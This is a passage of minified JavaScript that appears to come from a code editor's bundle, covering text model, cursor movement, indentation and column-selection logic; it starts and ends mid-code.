c.PrefixSumComputer(n)}},e.prototype.getOffsetAt=function(e){this._assertNotDisposed();var t=this._validatePosition(e.lineNumber,e.column,!1);return this._ensureLineStarts(),this._lineStarts.getAccumulatedValue(t.lineNumber-2)+t.column-1},e.prototype.getPositionAt=function(e){this._assertNotDisposed(),e=Math.floor(e),e=Math.max(0,e),this._ensureLineStarts();var t=this._lineStarts.getIndexOf(e),n=this._lines[t.index].text.length;return new o.Position(t.index+1,Math.min(t.remainder+1,n+1))},e.prototype._increaseVersionId=function(){this._setVersionId(this._versionId+1)},e.prototype._setVersionId=function(e){this._versionId=e,this._alternativeVersionId=this._versionId},e.prototype._overwriteAlternativeVersionId=function(e){this._alternativeVersionId=e},e.prototype.isDisposed=function(){return this._isDisposed},e.prototype.dispose=function(){this._isDisposed=!0,this._lines=null,this._EOL=null,this._BOM=null,this._eventEmitter.dispose()},e.prototype._emitContentChanged2=function(e,t,n,i,o,s,a,u,l){var c={changes:[{range:new r.Range(e,t,n,i),rangeLength:o,text:s}],eol:this._EOL,versionId:this.getVersionId(),isUndoing:a,isRedoing:u,isFlush:l};this._isDisposing||this._eventEmitter.emit(f.TextModelEventType.ModelContentChanged,c)},e.prototype._resetValue=function(e){this._constructLines(e),this._increaseVersionId()},e.prototype.equals=function(e){if(this._assertNotDisposed(),this._BOM!==e.BOM)return!1;if(this._EOL!==e.EOL)return!1;if(this._lines.length!==e.lines.length)return!1;for(var t=0,n=this._lines.length;t<n;t++)if(this._lines[t].text!==e.lines[t])return!1;return!0},e.prototype.setValue=function(e){if(this._assertNotDisposed(),null!==e){var t=p.TextSource.fromString(e,this._options.defaultEOL);this.setValueFromTextSource(t)}},e.prototype.setValueFromTextSource=function(e){if(this._assertNotDisposed(),null!==e){var t=this.getFullModelRange(),n=this.getValueLengthInRange(t),i=this.getLineCount(),o=this.getLineMaxColumn(i);this._resetValue(e),this._emitModelRawContentChangedEvent(new f.ModelRawContentChangedEvent([new f.ModelRawFlush],this._versionId,!1,!1)),this._emitContentChanged2(1,1,i,o,n,this.getValue(),!1,!1,!0)}},e.prototype.getValue=function(e,t){void 0===t&&(t=!1),this._assertNotDisposed();var n=this.getFullModelRange(),i=this.getValueInRange(n,e);return t?this._BOM+i:i},e.prototype.getValueLength=function(e,t){void 0===t&&(t=!1),this._assertNotDisposed();var n=this.getFullModelRange(),i=this.getValueLengthInRange(n,e);return t?this._BOM.length+i:i},e.prototype.getValueInRange=function(e,t){void 0===t&&(t=s.EndOfLinePreference.TextDefined),this._assertNotDisposed();var n=this.validateRange(e);if(n.isEmpty())return\"\";if(n.startLineNumber===n.endLineNumber)return this._lines[n.startLineNumber-1].text.substring(n.startColumn-1,n.endColumn-1);var i=this._getEndOfLine(t),o=n.startLineNumber-1,r=n.endLineNumber-1,a=[];a.push(this._lines[o].text.substring(n.startColumn-1));for(var u=o+1;u<r;u++)a.push(this._lines[u].text);return a.push(this._lines[r].text.substring(0,n.endColumn-1)),a.join(i)},e.prototype.getValueLengthInRange=function(e,t){void 0===t&&(t=s.EndOfLinePreference.TextDefined),this._assertNotDisposed();var n=this.validateRange(e);if(n.isEmpty())return 0;if(n.startLineNumber===n.endLineNumber)return n.endColumn-n.startColumn;var i=this.getOffsetAt(new o.Position(n.startLineNumber,n.startColumn));return this.getOffsetAt(new o.Position(n.endLineNumber,n.endColumn))-i},e.prototype.isDominatedByLongLines=function(){this._assertNotDisposed();var e,n,i,o=0,r=0,s=this._lines;for(e=0,n=this._lines.length;e<n;e++)(i=s[e].text.length)>=t.LONG_LINE_BOUNDARY?r+=i:o+=i;return r>o},e.prototype.getLineCount=function(){return this._assertNotDisposed(),this._lines.length},e.prototype.getLineContent=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");return this._lines[e-1].text},e.prototype.getIndentLevel=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");return this._lines[e-1].getIndentLevel()},e.prototype._resetIndentRanges=function(){this._indentRanges=null},e.prototype._getIndentRanges=function(){return this._indentRanges||(this._indentRanges=d.computeRanges(this)),this._indentRanges},e.prototype.getIndentRanges=function(){this._assertNotDisposed();var e=this._getIndentRanges();return d.IndentRange.deepCloneArr(e)},e.prototype._toValidLineIndentGuide=function(e,t){var n=this._lines[e-1].getIndentLevel();if(-1===n)return t;var i=Math.ceil(n/this._options.tabSize);return Math.min(i,t)},e.prototype.getLineIndentGuide=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");for(var t=this._getIndentRanges(),n=t.length-1;n>=0;n--){var i=t[n];if(i.startLineNumber===e)return this._toValidLineIndentGuide(e,Math.ceil(i.indent/this._options.tabSize));if(i.startLineNumber<e&&e<=i.endLineNumber)return this._toValidLineIndentGuide(e,1+Math.floor(i.indent/this._options.tabSize));if(i.endLineNumber+1===e){for(var o=i.indent;n>0;)(i=t[--n]).endLineNumber+1===e&&(o=i.indent);return this._toValidLineIndentGuide(e,Math.ceil(o/this._options.tabSize))}}return 0},e.prototype.getLinesContent=function(){this._assertNotDisposed();for(var e=[],t=0,n=this._lines.length;t<n;t++)e[t]=this._lines[t].text;return e},e.prototype.getEOL=function(){return this._assertNotDisposed(),this._EOL},e.prototype.setEOL=function(e){this._assertNotDisposed();var t=e===s.EndOfLineSequence.CRLF?\"\\r\\n\":\"\\n\";if(this._EOL!==t){var n=this.getFullModelRange(),i=this.getValueLengthInRange(n),o=this.getLineCount(),r=this.getLineMaxColumn(o);this._EOL=t,this._lineStarts=null,this._increaseVersionId(),this._emitModelRawContentChangedEvent(new f.ModelRawContentChangedEvent([new f.ModelRawEOLChanged],this._versionId,!1,!1)),this._emitContentChanged2(1,1,o,r,i,this.getValue(),!1,!1,!1)}},e.prototype.getLineMinColumn=function(e){return this._assertNotDisposed(),1},e.prototype.getLineMaxColumn=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");return this._lines[e-1].text.length+1},e.prototype.getLineFirstNonWhitespaceColumn=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");var t=i.firstNonWhitespaceIndex(this._lines[e-1].text);return-1===t?0:t+1},e.prototype.getLineLastNonWhitespaceColumn=function(e){if(this._assertNotDisposed(),e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");var t=i.lastNonWhitespaceIndex(this._lines[e-1].text);return-1===t?0:t+2},e.prototype.validateLineNumber=function(e){return this._assertNotDisposed(),e<1&&(e=1),e>this._lines.length&&(e=this._lines.length),e},e.prototype._validatePosition=function(e,t,n){var r=Math.floor(\"number\"==typeof e?e:1),s=Math.floor(\"number\"==typeof t?t:1);if(r<1)return new o.Position(1,1);if(r>this._lines.length)return new o.Position(this._lines.length,this.getLineMaxColumn(this._lines.length));if(s<=1)return new o.Position(r,1);var a=this.getLineMaxColumn(r);if(s>=a)return new o.Position(r,a);if(n){var u=this._lines[r-1].text.charCodeAt(s-2);if(i.isHighSurrogate(u))return new o.Position(r,s-1)}return new o.Position(r,s)},e.prototype.validatePosition=function(e){return this._assertNotDisposed(),this._validatePosition(e.lineNumber,e.column,!0)},e.prototype.validateRange=function(e){this._assertNotDisposed();var t=this._validatePosition(e.startLineNumber,e.startColumn,!1),n=this._validatePosition(e.endLineNumber,e.endColumn,!1),o=t.lineNumber,s=t.column,a=n.lineNumber,u=n.column,l=this._lines[o-1].text,c=this._lines[a-1].text,d=s>1?l.charCodeAt(s-2):0,h=u>1&&u<=c.length?c.charCodeAt(u-2):0,p=i.isHighSurrogate(d),f=i.isHighSurrogate(h);return p||f?o===a&&s===u?new r.Range(o,s-1,a,u-1):p&&f?new r.Range(o,s-1,a,u+1):p?new r.Range(o,s-1,a,u):new r.Range(o,s,a,u+1):new r.Range(o,s,a,u)},e.prototype.modifyPosition=function(e,t){return this._assertNotDisposed(),this.getPositionAt(this.getOffsetAt(e)+t)},e.prototype.getFullModelRange=function(){this._assertNotDisposed();var e=this.getLineCount();return new r.Range(1,1,e,this.getLineMaxColumn(e))},e.prototype._emitModelRawContentChangedEvent=function(e){this._isDisposing||this._eventEmitter.emit(f.TextModelEventType.ModelRawContentChanged2,e)},e.prototype._constructLines=function(e){for(var t=this._options.tabSize,n=e.lines,i=new Array(n.length),o=0,r=n.length;o<r;o++)i[o]=this._createModelLine(n[o],t);this._BOM=e.BOM,this._mightContainRTL=e.containsRTL,this._mightContainNonBasicASCII=!e.isBasicASCII,this._EOL=e.EOL,this._lines=i,this._lineStarts=null,this._resetIndentRanges()},e.prototype._getEndOfLine=function(e){switch(e){case s.EndOfLinePreference.LF:return\"\\n\";case s.EndOfLinePreference.CRLF:return\"\\r\\n\";case s.EndOfLinePreference.TextDefined:return this.getEOL()}throw new Error(\"Unknown EOL preference\")},e.prototype.findMatches=function(e,t,n,i,o,s,a){void 0===a&&(a=999),this._assertNotDisposed();var u;return u=r.Range.isIRange(t)?this.validateRange(t):this.getFullModelRange(),h.TextModelSearch.findMatches(this,new h.SearchParams(e,n,i,o),u,s,a)},e.prototype.findNextMatch=function(e,t,n,i,o,r){this._assertNotDisposed();var s=this.validatePosition(t);return h.TextModelSearch.findNextMatch(this,new h.SearchParams(e,n,i,o),s,r)},e.prototype.findPreviousMatch=function(e,t,n,i,o,r){this._assertNotDisposed();var s=this.validatePosition(t);return h.TextModelSearch.findPreviousMatch(this,new h.SearchParams(e,n,i,o),s,r)},e.MODEL_SYNC_LIMIT=5242880,e.MODEL_TOKENIZATION_LIMIT=20971520,e.MANY_MANY_LINES=3e5,e.DEFAULT_CREATION_OPTIONS={tabSize:l.EDITOR_MODEL_DEFAULTS.tabSize,insertSpaces:l.EDITOR_MODEL_DEFAULTS.insertSpaces,detectIndentation:!1,defaultEOL:s.DefaultEndOfLine.LF,trimAutoWhitespace:l.EDITOR_MODEL_DEFAULTS.trimAutoWhitespace},e}();t.TextModel=g}),define(d[39],h([1,0,12,9,93,22,2,43,10]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Primary=0]=\"Primary\",e[e.TopMost=1]=\"TopMost\",e[e.BottomMost=2]=\"BottomMost\"}(t.RevealTarget||(t.RevealTarget={}));var l=function(){function e(t,n,i,o){var r=o.editor;this.readOnly=r.readOnly,this.tabSize=i.tabSize,this.insertSpaces=i.insertSpaces,this.oneIndent=n,this.pageSize=Math.floor(r.layoutInfo.height/r.fontInfo.lineHeight)-2,this.lineHeight=r.lineHeight,this.useTabStops=r.useTabStops,this.wordSeparators=r.wordSeparators,this.emptySelectionClipboard=r.emptySelectionClipboard,this.autoClosingBrackets=r.autoClosingBrackets,this.autoIndent=r.autoIndent,this.autoClosingPairsOpen={},this.autoClosingPairsClose={},this.surroundingPairs={},this.electricChars={};var s=e._getElectricCharacters(t);if(s)for(l=0;l<s.length;l++)this.electricChars[s[l]]=!0;var a=e._getAutoClosingPairs(t);if(a)for(l=0;l<a.length;l++)this.autoClosingPairsOpen[a[l].open]=a[l].close,this.autoClosingPairsClose[a[l].close]=a[l].open;var u=e._getSurroundingPairs(t);if(u)for(var l=0;l<u.length;l++)this.surroundingPairs[u[l].open]=u[l].close}return e.shouldRecreate=function(e){return e.layoutInfo||e.wordSeparators||e.emptySelectionClipboard||e.autoClosingBrackets||e.useTabStops||e.lineHeight||e.readOnly},e.prototype.normalizeIndentation=function(e){return o.TextModel.normalizeIndentation(e,this.tabSize,this.insertSpaces)},e._getElectricCharacters=function(e){try{return a.LanguageConfigurationRegistry.getElectricCharacters(e.id)}catch(e){return u.onUnexpectedError(e),null}},e._getAutoClosingPairs=function(e){try{return a.LanguageConfigurationRegistry.getAutoClosingPairs(e.id)}catch(e){return u.onUnexpectedError(e),null}},e._getSurroundingPairs=function(e){try{return a.LanguageConfigurationRegistry.getSurroundingPairs(e.id)}catch(e){return u.onUnexpectedError(e),null}},e}();t.CursorConfiguration=l;var c=function(){function e(t,n,i,o){this.selectionStart=t,this.selectionStartLeftoverVisibleColumns=n,this.position=i,this.leftoverVisibleColumns=o,this.selection=e._computeSelection(this.selectionStart,this.position)}return e.prototype.equals=function(e){return this.selectionStartLeftoverVisibleColumns===e.selectionStartLeftoverVisibleColumns&&this.leftoverVisibleColumns===e.leftoverVisibleColumns&&this.position.equals(e.position)&&this.selectionStart.equalsRange(e.selectionStart)},e.prototype.hasSelection=function(){return!this.selection.isEmpty()||!this.selectionStart.isEmpty()},e.prototype.move=function(t,i,o,r){return t?new e(this.selectionStart,this.selectionStartLeftoverVisibleColumns,new n.Position(i,o),r):new e(new s.Range(i,o,i,o),r,new n.Position(i,o),r)},e._computeSelection=function(e,t){var n,i,o,s;return e.isEmpty()?(n=e.startLineNumber,i=e.startColumn,o=t.lineNumber,s=t.column):t.isBeforeOrEqual(e.getStartPosition())?(n=e.endLineNumber,i=e.endColumn,o=t.lineNumber,s=t.column):(n=e.startLineNumber,i=e.startColumn,o=t.lineNumber,s=t.column),new r.Selection(n,i,o,s)},e}();t.SingleCursorState=c;var d=function(){function e(e,t,n){this.model=t,this.viewModel=n,this.config=new l(this.model.getLanguageIdentifier(),this.model.getOneIndent(),this.model.getOptions(),e)}return e.prototype.validateViewPosition=function(e,t){return this.viewModel.coordinatesConverter.validateViewPosition(e,t)},e.prototype.validateViewRange=function(e,t){return this.viewModel.coordinatesConverter.validateViewRange(e,t)},e.prototype.convertViewRangeToModelRange=function(e){return this.viewModel.coordinatesConverter.convertViewRangeToModelRange(e)},e.prototype.convertViewPositionToModelPosition=function(e,t){return this.viewModel.coordinatesConverter.convertViewPositionToModelPosition(new n.Position(e,t))},e.prototype.convertModelPositionToViewPosition=function(e){return this.viewModel.coordinatesConverter.convertModelPositionToViewPosition(e)},e.prototype.convertModelRangeToViewRange=function(e){return this.viewModel.coordinatesConverter.convertModelRangeToViewRange(e)},e.prototype.getScrollTop=function(){return this.viewModel.viewLayout.getScrollTop()},e.prototype.getCompletelyVisibleViewRange=function(){return this.viewModel.getCompletelyVisibleViewRange()},e.prototype.getCompletelyVisibleModelRange=function(){var e=this.viewModel.getCompletelyVisibleViewRange();return this.viewModel.coordinatesConverter.convertViewRangeToModelRange(e)},e.prototype.getCompletelyVisibleViewRangeAtScrollTop=function(e){return this.viewModel.getCompletelyVisibleViewRangeAtScrollTop(e)},e.prototype.getCompletelyVisibleModelRangeAtScrollTop=function(e){var t=this.viewModel.getCompletelyVisibleViewRangeAtScrollTop(e);return this.viewModel.coordinatesConverter.convertViewRangeToModelRange(t)},e.prototype.getVerticalOffsetForViewLine=function(e){return this.viewModel.viewLayout.getVerticalOffsetForLineNumber(e)},e}();t.CursorContext=d;var h=function(){function e(e,t){this.modelState=e,this.viewState=t}return e.fromModelState=function(t){return new e(t,null)},e.fromViewState=function(t){return new e(null,t)},e.fromModelSelection=function(t){var i=t.selectionStartLineNumber,o=t.selectionStartColumn,r=t.positionLineNumber,a=t.positionColumn,u=new c(new s.Range(i,o,i,o),0,new n.Position(r,a),0);return e.fromModelState(u)},e.fromModelSelections=function(e){for(var t=[],n=0,i=e.length;n<i;n++)t[n]=this.fromModelSelection(e[n]);return t},e.ensureInEditableRange=function(t,n){var i=t.model;if(!i.hasEditableRange())return n;for(var o=i.getEditableRange(),r=t.convertModelRangeToViewRange(o),s=[],a=0,u=n.length;a<u;a++){var l=n[a];if(l.modelState){var c=e._ensureInEditableRange(l.modelState,o);s[a]=c?e.fromModelState(c):l}else{var d=e._ensureInEditableRange(l.viewState,r);s[a]=d?e.fromViewState(d):l}}return s},e._ensureInEditableRange=function(e,t){var i=e.position;return i.lineNumber<t.startLineNumber||i.lineNumber===t.startLineNumber&&i.column<t.startColumn?new c(e.selectionStart,e.selectionStartLeftoverVisibleColumns,new n.Position(t.startLineNumber,t.startColumn),0):i.lineNumber>t.endLineNumber||i.lineNumber===t.endLineNumber&&i.column>t.endColumn?new c(e.selectionStart,e.selectionStartLeftoverVisibleColumns,new n.Position(t.endLineNumber,t.endColumn),0):null},e.prototype.equals=function(e){return this.viewState.equals(e.viewState)&&this.modelState.equals(e.viewState)},e}();t.CursorState=h;var p=function(){return function(e,t){this.commands=e,this.shouldPushStackElementBefore=t.shouldPushStackElementBefore,this.shouldPushStackElementAfter=t.shouldPushStackElementAfter}}();t.EditOperationResult=p;var f=function(){function e(){}return e.isLowSurrogate=function(e,t,n){var o=e.getLineContent(t);return!(n<0||n>=o.length)&&i.isLowSurrogate(o.charCodeAt(n))},e.isHighSurrogate=function(e,t,n){var o=e.getLineContent(t);return!(n<0||n>=o.length)&&i.isHighSurrogate(o.charCodeAt(n))},e.isInsideSurrogatePair=function(e,t,n){return this.isHighSurrogate(e,t,n-2)},e.visibleColumnFromColumn=function(e,t,n){var i=e.length;i>t-1&&(i=t-1);for(var o=0,r=0;r<i;r++)9===e.charCodeAt(r)?o=this.nextTabStop(o,n):o+=1;return o},e.visibleColumnFromColumn2=function(e,t,n){return this.visibleColumnFromColumn(t.getLineContent(n.lineNumber),n.column,e.tabSize)},e.columnFromVisibleColumn=function(e,t,n){if(t<=0)return 1;for(var i=e.length,o=0,r=0;r<i;r++){var s=void 0;if((s=9===e.charCodeAt(r)?this.nextTabStop(o,n):o+1)>=t)return s-t<t-o?r+2:r+1;o=s}return i+1},e.columnFromVisibleColumn2=function(e,t,n,i){var o=this.columnFromVisibleColumn(t.getLineContent(n),i,e.tabSize),r=t.getLineMinColumn(n);if(o<r)return r;var s=t.getLineMaxColumn(n);return o>s?s:o},e.nextTabStop=function(e,t){return e+t-e%t},e.prevTabStop=function(e,t){return e-1-(e-1)%t},e}();t.CursorColumns=f}),define(d[167],h([1,0,9,39,2,22,43]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e,t){this._opts=t,this._selection=e,this._useLastEditRangeForCursorEndPosition=!1,this._selectionStartColumnStaysPut=!1}return e.unshiftIndentCount=function(e,t,n){var o=i.CursorColumns.visibleColumnFromColumn(e,t,n);return i.CursorColumns.prevTabStop(o,n)/n},e.shiftIndentCount=function(e,t,n){var o=i.CursorColumns.visibleColumnFromColumn(e,t,n);return i.CursorColumns.nextTabStop(o,n)/n},e.prototype._addEditOperation=function(e,t,n){this._useLastEditRangeForCursorEndPosition?e.addTrackedEditOperation(t,n):e.addEditOperation(t,n)},e.prototype.getEditOperations=function(t,r){var a=this._selection.startLineNumber,u=this._selection.endLineNumber;1===this._selection.endColumn&&a!==u&&(u-=1);var l=this._opts.tabSize,c=this._opts.oneIndent,d=a===u;if(this._selection.isEmpty()&&/^\\s*$/.test(t.getLineContent(a))&&(this._useLastEditRangeForCursorEndPosition=!0),this._opts.useTabStops)for(var h=[\"\",c],p=0,f=0,g=a;g<=u;g++,p=f){f=0;var m=t.getLineContent(g),v=n.firstNonWhitespaceIndex(m);if((!this._opts.isUnshift||0!==m.length&&0!==v)&&(d||this._opts.isUnshift||0!==m.length)){if(-1===v&&(v=m.length),g>1&&i.CursorColumns.visibleColumnFromColumn(m,v+1,l)%l!=0){var _=s.LanguageConfigurationRegistry.getRawEnterActionAtPosition(t,g-1,t.getLineMaxColumn(g-1));if(_){if(f=p,_.appendText)for(var y=0,C=_.appendText.length;y<C&&f<l&&32===_.appendText.charCodeAt(y);y++)f++;_.removeText&&(f=Math.max(0,f-_.removeText));for(y=0;y<f&&(0!==v&&32===m.charCodeAt(v-1));y++)v--}}if(!this._opts.isUnshift||0!==v){var b=void 0;b=this._opts.isUnshift?e.unshiftIndentCount(m,v+1,l):e.shiftIndentCount(m,v+1,l);for(y=h.length;y<=b;y++)h[y]=h[y-1]+c;this._addEditOperation(r,new o.Range(g,1,g,v+1),h[b]),g===a&&(this._selectionStartColumnStaysPut=this._selection.startColumn<=v+1)}}}else for(g=a;g<=u;g++){var m=t.getLineContent(g),v=n.firstNonWhitespaceIndex(m);if((!this._opts.isUnshift||0!==m.length&&0!==v)&&((d||this._opts.isUnshift||0!==m.length)&&(-1===v&&(v=m.length),!this._opts.isUnshift||0!==v)))if(this._opts.isUnshift){v=Math.min(v,l);for(var w=0;w<v;w++)if(9===m.charCodeAt(w)){v=w+1;break}this._addEditOperation(r,new o.Range(g,1,g,v+1),\"\")}else this._addEditOperation(r,new o.Range(g,1,g,1),c),g===a&&(this._selectionStartColumnStaysPut=1===this._selection.startColumn)}this._selectionId=r.trackSelection(this._selection)},e.prototype.computeCursorState=function(e,t){if(this._useLastEditRangeForCursorEndPosition){var n=t.getInverseEditOperations()[0];return new r.Selection(n.range.endLineNumber,n.range.endColumn,n.range.endLineNumber,n.range.endColumn)}var i=t.getTrackedSelection(this._selectionId);if(this._selectionStartColumnStaysPut){var o=this._selection.startColumn;return i.startColumn<=o?i:i.getDirection()===r.SelectionDirection.LTR?new r.Selection(i.startLineNumber,o,i.endLineNumber,i.endColumn):new r.Selection(i.endLineNumber,i.endColumn,i.startLineNumber,o)}return i},e}();t.ShiftCommand=a}),define(d[311],h([1,0,12,2,39]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(){}return e._columnSelect=function(e,t,r,s,a,u){for(var l=Math.abs(a-r)+1,c=r>a,d=s>u,h=s<u,p=[],f=0;f<l;f++){var g=r+(c?-f:f),m=o.CursorColumns.columnFromVisibleColumn2(e,t,g,s),v=o.CursorColumns.columnFromVisibleColumn2(e,t,g,u),_=o.CursorColumns.visibleColumnFromColumn2(e,t,new n.Position(g,m)),y=o.CursorColumns.visibleColumnFromColumn2(e,t,new n.Position(g,v));if(h){if(_>u)continue;if(y<s)continue}if(d){if(y>s)continue;if(_<u)continue}p.push(new o.SingleCursorState(new i.Range(g,m,g,m),0,new n.Position(g,v),0))}return{viewStates:p,reversed:c,toLineNumber:a,toVisualColumn:u}},e.columnSelect=function(t,i,r,s,a){var u=new n.Position(r.selectionStartLineNumber,r.selectionStartColumn),l=o.CursorColumns.visibleColumnFromColumn2(t,i,u);return e._columnSelect(t,i,u.lineNumber,l,s,a)},e.columnSelectLeft=function(e,t,n,i,o){return o>1&&o--,this.columnSelect(e,t,n.selection,i,o)},e.columnSelectRight=function(e,t,i,r,s){for(var a=0,u=Math.min(i.position.lineNumber,r),l=Math.max(i.position.lineNumber,r),c=u;c<=l;c++){var d=t.getLineMaxColumn(c),h=o.CursorColumns.visibleColumnFromColumn2(e,t,new n.Position(c,d));a=Math.max(a,h)}return s<a&&s++,this.columnSelect(e,t,i.selection,r,s)},e.columnSelectUp=function(e,t,n,i,o,r){return(o-=i?e.pageSize:1)<1&&(o=1),this.columnSelect(e,t,n.selection,o,r)},e.columnSelectDown=function(e,t,n,i,o,r){return(o+=i?e.pageSize:1)>t.getLineCount()&&(o=t.getLineCount()),this.columnSelect(e,t,n.selection,o,r)},e}();t.ColumnSelection=r}),define(d[169],h([1,0,39,12,2]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){return function(e,t,n){this.lineNumber=e,this.column=t,this.leftoverVisibleColumns=n}}();t.CursorPosition=r;var s=function(){function e(){}return e.left=function(e,t,i,o){return o>t.getLineMinColumn(i)?n.CursorColumns.isLowSurrogate(t,i,o-2)?o-=2:o-=1:i>1&&(i-=1,o=t.getLineMaxColumn(i)),new r(i,o,0)},e.moveLeft=function(t,n,i,o,r){var s,a;if(i.hasSelection()&&!o)s=i.selection.startLineNumber,a=i.selection.startColumn;else{var u=e.left(t,n,i.position.lineNumber,i.position.column-(r-1));s=u.lineNumber,a=u.column}return i.move(o,s,a,0)},e.right=function(e,t,i,o){return o<t.getLineMaxColumn(i)?n.CursorColumns.isHighSurrogate(t,i,o-1)?o+=2:o+=1:i<t.getLineCount()&&(i+=1,o=t.getLineMinColumn(i)),new r(i,o,0)},e.moveRight=function(t,n,i,o,r){var s,a;if(i.hasSelection()&&!o)s=i.selection.endLineNumber,a=i.selection.endColumn;else{var u=e.right(t,n,i.position.lineNumber,i.position.column+(r-1));s=u.lineNumber,a=u.column}return i.move(o,s,a,0)},e.down=function(e,t,i,o,s,a,u){var l=n.CursorColumns.visibleColumnFromColumn(t.getLineContent(i),o,e.tabSize)+s;i+=a;var c=t.getLineCount();return i>c?(i=c,u?o=t.getLineMaxColumn(i):(o=Math.min(t.getLineMaxColumn(i),o),n.CursorColumns.isInsideSurrogatePair(t,i,o)&&(o-=1))):(o=n.CursorColumns.columnFromVisibleColumn2(e,t,i,l),n.CursorColumns.isInsideSurrogatePair(t,i,o)&&(o-=1)),s=l-n.CursorColumns.visibleColumnFromColumn(t.getLineContent(i),o,e.tabSize),new r(i,o,s)},e.moveDown=function(t,n,i,o,r){var s,a;i.hasSelection()&&!o?(s=i.selection.endLineNumber,a=i.selection.endColumn):(s=i.position.lineNumber,a=i.position.column);var u=e.down(t,n,s,a,i.leftoverVisibleColumns,r,!0);return i.move(o,u.lineNumber,u.column,u.leftoverVisibleColumns)},e.translateDown=function(t,r,s){var a=s.selection,u=e.down(t,r,a.selectionStartLineNumber,a.selectionStartColumn,s.selectionStartLeftoverVisibleColumns,1,!1),l=e.down(t,r,a.positionLineNumber,a.positionColumn,s.leftoverVisibleColumns,1,!1);return new n.SingleCursorState(new o.Range(u.lineNumber,u.column,u.lineNumber,u.column),u.leftoverVisibleColumns,new i.Position(l.lineNumber,l.column),l.leftoverVisibleColumns)},e.up=function(e,t,i,o,s,a,u){var l=n.CursorColumns.visibleColumnFromColumn(t.getLineContent(i),o,e.tabSize)+s;return(i-=a)<1?(i=1,u?o=t.getLineMinColumn(i):(o=Math.min(t.getLineMaxColumn(i),o),n.CursorColumns.isInsideSurrogatePair(t,i,o)&&(o-=1))):(o=n.CursorColumns.columnFromVisibleColumn2(e,t,i,l),n.CursorColumns.isInsideSurrogatePair(t,i,o)&&(o-=1)),s=l-n.CursorColumns.visibleColumnFromColumn(t.getLineContent(i),o,e.tabSize),new r(i,o,s)},e.moveUp=function(t,n,i,o,r){var s,a;i.hasSelection()&&!o?(s=i.selection.startLineNumber,a=i.selection.startColumn):(s=i.position.lineNumber,a=i.position.column);var u=e.up(t,n,s,a,i.leftoverVisibleColumns,r,!0);return i.move(o,u.lineNumber,u.column,u.leftoverVisibleColumns)},e.translateUp=function(t,r,s){var a=s.selection,u=e.up(t,r,a.selectionStartLineNumber,a.selectionStartColumn,s.selectionStartLeftoverVisibleColumns,1,!1),l=e.up(t,r,a.positionLineNumber,a.positionColumn,s.leftoverVisibleColumns,1,!1);return new n.SingleCursorState(new o.Range(u.lineNumber,u.column,u.lineNumber,u.column),u.leftoverVisibleColumns,new i.Position(l.lineNumber,l.column),l.leftoverVisibleColumns)},e.moveToBeginningOfLine=function(e,t,n,i){var o,r=n.position.lineNumber,s=t.getLineMinColumn(r),a=t.getLineFirstNonWhitespaceColumn(r)||s;return o=n.position.column===a?s:a,n.move(i,r,o,0)},e.moveToEndOfLine=function(e,t,n,i){var o=n.position.lineNumber,r=t.getLineMaxColumn(o);return n.move(i,o,r,0)},e.moveToBeginningOfBuffer=function(e,t,n,i){return n.move(i,1,1,0)},e.moveToEndOfBuffer=function(e,t,n,i){var o=t.getLineCount(),r=t.getLineMaxColumn(o);return n.move(i,o,r,0)},e}();t.MoveOperations=s}),define(d[170],h([1,0,73,39,2,169,9]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(){}return e.deleteRight=function(e,t,i){for(var s=[],a=!1,u=0,l=i.length;u<l;u++){var c=i[u],d=c;if(d.isEmpty()){var h=c.getPosition(),p=r.MoveOperations.right(e,t,h.lineNumber,h.column);d=new o.Range(p.lineNumber,p.column,h.lineNumber,h.column)}d.isEmpty()?s[u]=null:(d.startLineNumber!==d.endLineNumber&&(a=!0),s[u]=new n.ReplaceCommand(d,\"\"))}return[a,s]},e._isAutoClosingPairDelete=function(e,t,n){if(!e.autoClosingBrackets)return!1;for(var i=0,o=n.length;i<o;i++){var r=n[i],s=r.getPosition();if(!r.isEmpty())return!1;var a=t.getLineContent(s.lineNumber),u=a[s.column-2];if(!e.autoClosingPairsOpen.hasOwnProperty(u))return!1;if(a[s.column-1]!==e.autoClosingPairsOpen[u])return!1}return!0},e._runAutoClosingPairDelete=function(e,t,i){for(var r=[],s=0,a=i.length;s<a;s++){var u=i[s].getPosition(),l=new o.Range(u.lineNumber,u.column-1,u.lineNumber,u.column+1);r[s]=new n.ReplaceCommand(l,\"\")}return[!0,r]},e.deleteLeft=function(e,t,a){if(this._isAutoClosingPairDelete(e,t,a))return this._runAutoClosingPairDelete(e,t,a);for(var u=[],l=!1,c=0,d=a.length;c<d;c++){var h=a[c],p=h;if(p.isEmpty()){var f=h.getPosition();if(e.useTabStops&&f.column>1){var g=t.getLineContent(f.lineNumber),m=s.firstNonWhitespaceIndex(g),v=-1===m?g.length+1:m+1;if(f.column<=v){var _=i.CursorColumns.visibleColumnFromColumn2(e,t,f),y=i.CursorColumns.prevTabStop(_,e.tabSize),C=i.CursorColumns.columnFromVisibleColumn2(e,t,f.lineNumber,y);p=new o.Range(f.lineNumber,C,f.lineNumber,f.column)}else p=new o.Range(f.lineNumber,f.column-1,f.lineNumber,f.column)}else{var b=r.MoveOperations.left(e,t,f.lineNumber,f.column);p=new o.Range(b.lineNumber,b.column,f.lineNumber,f.column)}}p.isEmpty()?u[c]=null:(p.startLineNumber!==p.endLineNumber&&(l=!0),u[c]=new n.ReplaceCommand(p,\"\"))}return[l,u]},e.cut=function(e,t,r){for(var s=[],a=0,u=r.length;a<u;a++){var 